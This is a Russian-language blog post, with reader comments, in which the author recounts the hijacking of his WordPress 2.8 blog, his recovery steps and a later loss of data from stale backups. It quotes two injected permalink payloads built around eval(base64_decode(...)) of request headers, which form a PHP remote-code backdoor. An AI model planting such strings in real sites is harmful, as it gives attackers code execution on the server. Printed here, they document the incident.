Взлом моего блога через уязвимость WordPress

Скупой платит дважды, а ленивый работает в два раза больше. Об этом я вспомнил, когда мой блог стал очередной жертвой уязвимости в движке WordPress 2.8, устраненной только в версии WordPress 2.8.4. Благодаря этой дыре можно удаленно изменить пароль администратора блога WordPress, получив тем самым полный доступ к админке блога. Как что не стоит лениться обновлять движок до последней версии – спокойнее спаться будет.

В принципе, скрипт, получивший доступ к админке моего блога, не сделал ничего страшного. Или просто не успел сделать. Ко всем ссылкам на статьи блога дописывалось что-то вроде

%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
и
%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

Этот код делал почти все ссылки блога мертвыми, переходы на посты не работали. Я перезалил шаблоны из последнего бэкапа, обновил движок WordPress, но ссылки не стали прежними. Файл .htaccess тоже был в порядке. Подозрение, что взломан хостинг, тоже не оправдались. И только просматривая параметры постоянных ссылок (Администрирование->Параметры->Постоянные ссылки) блога, я с удивлением заметил следующее:

Изменение шаблона ссылки в результате взлома WordPress

Значение параметра постоянной ссылки было записано в базу данных, шаблоны при этом не менялись. И записана ломаная ссылка была благодаря доступу вредоносного скрипта к админпанели блога. Т.е. у меня либо появился неучтенный админ, либо к одной из моих учетных записей с правами админа подобрали пароль. На странице Администрирование->Пользователи оказалось, что у меня 3 аккаунта с правами администратора, хотя должно было быть только 2. Третий админ был скрытым и был создан скриптом, взломавшим WordPress:

Скрытый админ в админке WordPress

Как я восстановил свой взломанный блог WordPress 2.8:

  1. Обновил движок блога до последней версии (на данный момент WordPress 2.8.4).
  2. Через Администрирование->Параметры->Постоянные ссылки вернул формат постоянных ссылок к старому (у меня /%year%/%postname%/).
  3. Через phpMyAdmin удалил из базы данных блога таблицу пользоваталей (по умолчанию ее имя wp_users). Ссылку на phpMyAdmin, а также логин и пароль для своего сайта спрашивайте у свого хостера.
  4. Нашел старый бэкап блога, удалил их него все таблицы, кроме нужной мне wp_users. Импортировал этот урезанный бэкап опять же через phpMyAdmin. Неучтенный администратор пропал.
  5. Учетной записи admin своего блога присвоил самый низкий уровень доступа (подписчик), лишив его возможности лазить по админке и сменил ему пароль. Поудалял всякие странные и порнушные аккаунты – на всякий случай ;).
  6. Ограничил через .htaccess количество IP, которые могут открыть админку блога.

Как видите, ничего сложного. Но затем я решил заняться безопасностью блога, настроить плагин WP Security Scan… и серьезно вляпался. Я недавно сменил хостинг и, опять же, поленился проверить, все ли правильно работает. Оказалось, что установленный ранее плагин WordPress Database Backup, отвечающий за автоматическое ежедневное создание и пересылку на специально заведенный e-mail бэкапов базы данных блога, создает не совсем свежие базы :(. Угробив при настройке плагина безопасности актуальную базу банных блога, я не смог восстановить данные за последний месяц. В результате было потеряно 3 поста (отпуск был, к счастью), страницы с предложением разработки баннеров и создания дизайна сайта, несколько десятков комментариев (за что прошу прощения у своих читателей). Что смог – восстановил вручную, но времени ушло много. Зато получил еще один кусочек бесценного опыта (см. первое предложение поста).

3 комментария к «Взлом моего блога через уязвимость WordPress»

  1. Я вот хотел поинтересоваться. Новая верися  нормально работает? а то я поставил у себя на блоге, так теперь плююсь. Мало того тормозная какая-то, так еще и  постоянно требует вводить пораль для входа  в админпанель. после каждого действия а вдминке требует..

  2. Я никакой разницы по сравнению с предыдущей версией WordPress не заметил. Судя по описанию, кроме латания дыры, ничего и не меняли

  3. Ужас! Я только сегодня узнал что все WP версии более ранние чем 2.8.4. имеют эту уязвимость! А можете посоветовать где скачать книгу по WordPress в формате PDF чтобы там были описания плагинов, конфигурации, советов по безопасности, оптимизации и т.д.?

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *